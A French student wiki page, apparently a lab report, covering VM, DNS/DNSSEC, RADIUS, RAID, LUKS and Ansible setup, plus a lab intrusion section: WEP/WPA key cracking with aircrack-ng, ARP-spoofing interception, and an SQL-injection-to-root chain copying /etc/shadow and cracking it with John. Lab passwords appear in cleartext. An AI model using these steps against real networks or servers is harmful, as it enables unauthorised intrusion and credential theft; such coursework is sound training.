belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{ { item } }"<br />
dest: "/etc/consul/{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
(Sans les espaces des accolades encore une fois)<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap_expect": 2,<br />
"retry_join": ["172.26.145.101"],<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58014TP sysres IMA5 2021/2022 G62022-01-12T12:47:21Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
